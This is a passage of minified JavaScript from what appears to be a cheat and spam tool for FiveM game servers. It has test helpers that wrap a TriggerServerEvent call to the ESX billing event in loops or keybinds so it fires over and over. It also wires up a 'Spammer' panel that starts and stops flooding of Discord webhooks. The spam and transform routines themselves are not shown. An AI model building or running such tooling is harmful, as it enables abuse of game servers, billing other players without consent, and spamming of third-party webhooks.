testTrigger = "TriggerServerEvent('esx_billing:sendBill', playerId, 1000)"; const testResource = "esx_billing"; const testDelay = "1000"; console.log('Test Loop Trigger:'); const loopResult = transformTriggerToLoop(testTrigger, testResource, testDelay); console.log(loopResult); // Test keybind trigger const testKeybind = "E"; console.log('Test Keybind Trigger:'); const keybindResult = transformTriggerToKeybind(testTrigger, testResource, testKeybind); console.log(keybindResult); return { loopResult, keybindResult }; } // Add this to help with debugging function debugEditorInputs() { const resourceName = document.getElementById('editor-resource-name')?.value; const keybind = document.getElementById('editor-keybind')?.value; const loopDelay = document.getElementById('editor-loop-delay')?.value; const triggerText = document.getElementById('editor-trigger-text')?.value; console.log('Current Editor Inputs:', { resourceName, keybind, loopDelay, triggerText, resourceNameElement: !!document.getElementById('editor-resource-name'), keybindElement: !!document.getElementById('editor-keybind'), loopDelayElement: !!document.getElementById('editor-loop-delay'), triggerTextElement: !!document.getElementById('editor-trigger-text') }); return { resourceName, keybind, loopDelay, triggerText }; } function testEditorFunction() { try { console.log('Testing Editor functionality...'); // Populate the fields with test data const resourceNameField = document.getElementById('editor-resource-name'); const keybindField = document.getElementById('editor-keybind'); const loopDelayField = document.getElementById('editor-loop-delay'); const triggerTextField = document.getElementById('editor-trigger-text'); // Clear fields to show default behavior if (resourceNameField) resourceNameField.value = ''; if (keybindField) keybindField.value = 'E'; if (loopDelayField) loopDelayField.value = ''; if (triggerTextField) triggerTextField.value = "TriggerServerEvent('esx_billing:sendBill', playerId, 1000)"; console.log('Fields populated with test data (empty resource name and loop delay to show defaults)'); // Test the transformation with defaults const testTrigger = "TriggerServerEvent('esx_billing:sendBill', playerId, 1000)"; const testResource = "resource"; // Default const testDelay = "1000"; // Default const testKeybind = "E"; console.log('Testing loop transformation with defaults...'); const loopResult = transformTriggerToLoop(testTrigger, testResource, testDelay); console.log('Loop result:', loopResult); console.log('Testing keybind transformation with defaults...'); const keybindResult = transformTriggerToKeybind(testTrigger, testResource, testKeybind); console.log('Keybind result:', keybindResult); // Show success message showNotification('Editor test completed! Check console for results. (Defaults: resource name="resource", loop delay=1000ms)', 'success'); return { loopResult, keybindResult }; } catch (error) { console.error('Error in test function:', error); showNotification('Test failed: ' + error.message, 'error'); } } function setupSpammerEventListeners() { try { console.log('Setting up Spammer event listeners...'); // Spammer functionality const sendBtn = document.querySelector('.send-btn'); const clearBtn = document.querySelector('.clear-btn'); const startSpamBtn = document.querySelector('.start-spam-btn'); const stopSpamBtn = document.querySelector('.stop-spam-btn'); const addWebhookBtn = document.getElementById('add-webhook-btn'); const manualWebhookInput = document.getElementById('manual-webhook-url'); // Remove existing event listeners to prevent duplicates if (sendBtn) { sendBtn.replaceWith(sendBtn.cloneNode(true)); const newSendBtn = document.querySelector('.send-btn'); newSendBtn.addEventListener('click', sendWebhookOnce); console.log('Send button event listener added'); } if (clearBtn) { clearBtn.replaceWith(clearBtn.cloneNode(true)); const newClearBtn = document.querySelector('.clear-btn'); newClearBtn.addEventListener('click', clearWebhookForm); console.log('Clear button event listener added'); } if (startSpamBtn) { startSpamBtn.replaceWith(startSpamBtn.cloneNode(true)); const newStartSpamBtn = document.querySelector('.start-spam-btn'); newStartSpamBtn.addEventListener('click', startWebhookSpam); console.log('Start spam button event listener added'); } if (stopSpamBtn) { stopSpamBtn.replaceWith(stopSpamBtn.cloneNode(true)); const newStopSpamBtn = document.querySelector('.stop-spam-btn'); newStopSpamBtn.addEventListener('click', stopWebhookSpam); console.log('Stop spam button event listener added'); } if (addWebhookBtn) { addWebhookBtn.replaceWith(addWebhookBtn.cloneNode(true)); const newAddWebhookBtn = document.getElementById('add-webhook-btn'); newAddWebhookBtn.addEventListener('click', addManualWebhook); console.log('Add webhook button event listener added'); } if (manualWebhookInput) { manualWebhookInput.replaceWith(manualWebhookInput.cloneNode(true)); const newManualWebhookInput = document.getElementById('manual-webhook-url'); newManualWebhookInput.addEventListener('keypress', (e) => { if (e.key === 'Enter') { addManualWebhook(); } }); console.log('Manual webhook input event listener added'); } // Add delete webhook button event listener const deleteWebhookBtn = document.getElementById('delete-webhook-btn'); if (deleteWebhookBtn) { deleteWebhookBtn.replaceWith(deleteWebhookBtn.cloneNode(true)); const newDeleteWebhookBtn = document.getElementById('delete-webhook-btn'); newDeleteWebhookBtn.addEventListener('click', () => { const selectedWebhooks = appState.selectedWebhooks; if (selectedWebhooks.length === 0) { showNotification('No webhooks selected to delete', 'error'); return; } if (confirm(`Are you sure you want to delete ${selectedWebhooks.length} webhook(s)? This action cannot be undone!`)) { selectedWebhooks.forEach(webhookUrl => { deleteWebhook(webhookUrl); }); } }); console.log('Delete webhook button event listener added'); } console.log('Spammer event listeners setup complete'); } catch (error) { console.error('Error setting up Spammer event listeners:', error); } } // Test function for webhook functionality function testWebhookFunction() { try { console.log('Testing webhook functionality...'); // Test adding a manual webhook const testWebhookUrl = 'https://discord.com/api/webhooks/test/test'; // Check if elements exist const addWebhookBtn = document.getElementById('add-webhook-btn'); const manualWebhookInput = document.getElementById('manual-webhook-url'); console.log('Webhook elements found:', { addWebhookBtn: !!addWebhookBtn, manualWebhookInput: !!manualWebhookInput }); if (addWebhookBtn) { console.log('Add webhook button exists'); } else { console.error('Add webhook button not found!'); } if (manualWebhookInput) { console.log('Manual webhook input exists'); } else { console.error('Manual webhook input not found!'); } // Test the addManualWebhook function directly console.log('Testing addManualWebhook function...'); const originalValue = manualWebhookInput ? manualWebhookInput.value : ''; if (manualWebhookInput) { manualWebhookInput.value = testWebhookUrl; } // Test the function addManualWebhook(); // Restore original value if (manualWebhookInput) { manualWebhookInput.value = originalValue; } showNotification('Webhook test completed! Check console for results.', 'success'); } catch (error) { console.error('Error in webhook test function:', error); showNotification('Webhook test failed: ' + error.message, 'error'); } }